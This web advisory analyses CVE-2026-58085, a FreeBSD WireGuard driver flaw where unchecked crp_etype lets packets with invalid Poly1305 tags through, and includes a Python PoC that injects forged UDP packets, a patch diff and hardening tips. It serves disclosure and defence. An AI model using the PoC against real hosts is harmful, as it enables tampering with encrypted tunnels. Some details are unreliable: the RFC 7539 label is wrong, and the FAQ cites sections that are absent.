SECURITY ADVISORY / 01

CVE-2026-58085 Exploit & Vulnerability Analysis

Complete CVE-2026-58085 security advisory with proof of concept (PoC), exploit details, and patch analysis for freebsd-src.

freebsd-src products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An attacker with network access to a FreeBSD host running WireGuard can modify in-flight tunnel packets without triggering authentication failure, provided they can estimate the receiver's replay window bounds.

#!/usr/bin/env python3
"""
CVE-2026-58085 PoC: WireGuard MAC Verification Bypass on FreeBSD
Demonstrates forged packet injection past Poly1305 check.

Target: FreeBSD host with wg(4) driver, WireGuard tunnel active
Attacker position: On-path or able to send UDP to endpoint
"""

import socket
import struct
import sys

def inject_forged_packet(target_host, target_port, forged_ciphertext, forged_tag):
    """
    Send a crafted WireGuard packet with invalid Poly1305 tag.
    The vulnerable wg(4) driver will accept it because crp_etype
    (crypto operation error) is never checked after dispatch.
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Minimal WireGuard packet structure
    # message_type (1 byte) + reserved (3) + sender_index (4) + 
    # counter (8) + ciphertext + tag (16)
    packet = struct.pack('<I', 2)  # message_type 2 = transport data
    packet += struct.pack('<I', 0x00000001)  # sender_index (attacker's guess)
    packet += struct.pack('<Q', 0x0000000000000042)  # counter (within replay window)
    packet += forged_ciphertext
    packet += forged_tag  # 16-byte invalid Poly1305 tag
    
    sock.sendto(packet, (target_host, target_port))
    sock.close()
    print(f"[+] Forged packet sent to {target_host}:{target_port}")
    print(f"[+] Packet structure: type=2, counter=66, tag (invalid)={forged_tag.hex()}")

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "192.0.2.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 51820
    
    # Attacker-controlled forged ciphertext and invalid MAC
    forged_ct = b'\x00' * 64  # Arbitrary payload (will decrypt to garbage without valid MAC)
    forged_mac = b'\xff' * 16  # Intentionally invalid Poly1305 tag
    
    inject_forged_packet(target, port, forged_ct, forged_mac)
    print("[*] If vulnerable: packet accepted despite invalid MAC")
    print("[*] If patched: packet dropped with authentication error")

When this packet arrives at a vulnerable FreeBSD receiver, the wg(4) driver dispatches the decryption and MAC verification to the kernel crypto framework (OCF), but never reads the result (crp_etype). The packet is silently accepted even though Poly1305 validation failed. A patched kernel rejects it immediately.

What the Patch Did

Before

ret = crypto_dispatch(&crp);
crypto_destroyreq(&crp);
return (ret);

After

ret = crypto_dispatch(&crp);
if (ret == 0)
	ret = crp.crp_etype;
crypto_destroyreq(&crp);
return (ret);

The patch adds a cryptographic operation result check: after crypto_dispatch() returns successfully (indicating the request was queued), the code now inspects crp.crp_etype to detect deferred operation failures. In synchronous crypto contexts, crp_etype is populated with the authentication status (0 for valid MAC, non-zero for invalid). The original code treated a successful dispatch as a successful operation, conflating two distinct return paths. The patch also validates that the crypto session is synchronous via CRYPTO_SESS_SYNC() and rejects asynchronous sessions with cleanup, preventing the same error from occurring in async contexts where crp_etype would be populated later.

Root Cause

CWE-252: Unchecked Return Value — The vulnerability lies in the assumption that crypto_dispatch() completing without error means the cryptographic operation itself succeeded. The function returns 0 when the request is accepted, not when the MAC verification passes. The result of the actual operation — whether Poly1305 validation succeeded — is stored in the opaque crp_etype field and was never consulted. An attacker who sends a packet with an invalid MAC triggers the OCF dispatch to execute, which correctly detects the MAC mismatch and sets crp_etype to a non-zero error value. The FreeBSD kernel's synchronous crypto provider (used by default) completes the operation inline and populates this field immediately, but the wg(4) driver discarded the result. The dataflow: attacker-controlled ciphertext and MAC tag (from the UDP packet payload) flow into the OCF via crypto_dispatch(&crp), which sets crp_etype on failure. The driver's return value (ret) was taken from crypto_dispatch()'s return code alone, never from the operation status in crp_etype. This unchecked result became the "success" signal passed up to packet acceptance logic.

Why It Works

The load-bearing line is ret = crp.crp_etype; — removing it leaves the bug exploitable because the driver will still return 0 (success) even when the MAC failed. The check if (ret == 0) is a guard: it ensures that only when dispatch itself succeeded (not queued, not failed immediately) do we inspect the operation result. If crypto_dispatch() returns non-zero, we bail early and never touch crp_etype, avoiding undefined behavior if the structure was not populated. The second fix — the CRYPTO_SESS_SYNC() validation — prevents a different attack surface: an asynchronous crypto provider would not populate crp_etype before dispatch returns, causing the same unchecked-result bug even if the first patch were in place. By rejecting async sessions at init time, the maintainers ensured that all code paths using this session handle synchronous operations where crp_etype is valid immediately. Together, these two checks close both the synchronous path (read the error) and the asynchronous path (reject it).

Hardening Checklist

  • Always check cryptographic operation results, not just dispatch status. On FreeBSD OCF, inspect crp.crp_etype after dispatch, or use a higher-level API that bundles both checks. On Linux, verify the aead_request callback status. On OpenSSL, never ignore EVP_*_final() return values.
  • Validate that your crypto provider matches your usage pattern. If you assume synchronous execution (result available immediately), call CRYPTO_SESS_SYNC() or equivalent at session creation and fail fast if not met. Do not assume the kernel's default provider matches your requirements.
  • Fuzz or unit-test with invalid MACs in every packet type. Use AFL or libFuzzer to inject corrupted authentication tags into your packet handler. Verify that 100% of invalid MACs are rejected, not silently accepted.
  • Use compiler warnings and static analysis. Enable -Wunused-result and run cppcheck or Clang's static analyzer to flag return values that are read but not checked (e.g., assign-but-never-use patterns). The OCF dispatch was non-__must_check__ but the caller's intent should be validated by tooling.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-58085
  • FreeBSD Security Advisory (vendor documentation)
  • WireGuard Protocol RFC 7539 (Poly1305 AEAD specification)

Frequently asked questions about CVE-2026-58085

What is CVE-2026-58085?

CVE-2026-58085 is a security vulnerability identified in freebsd-src. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-58085?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-58085. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-58085 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting freebsd-src. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-58085?

CVE-2026-58085 affects freebsd-src. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-58085?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for freebsd-src.

What is the CVSS score for CVE-2026-58085?

The severity rating and CVSS scoring for CVE-2026-58085 affecting freebsd-src is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.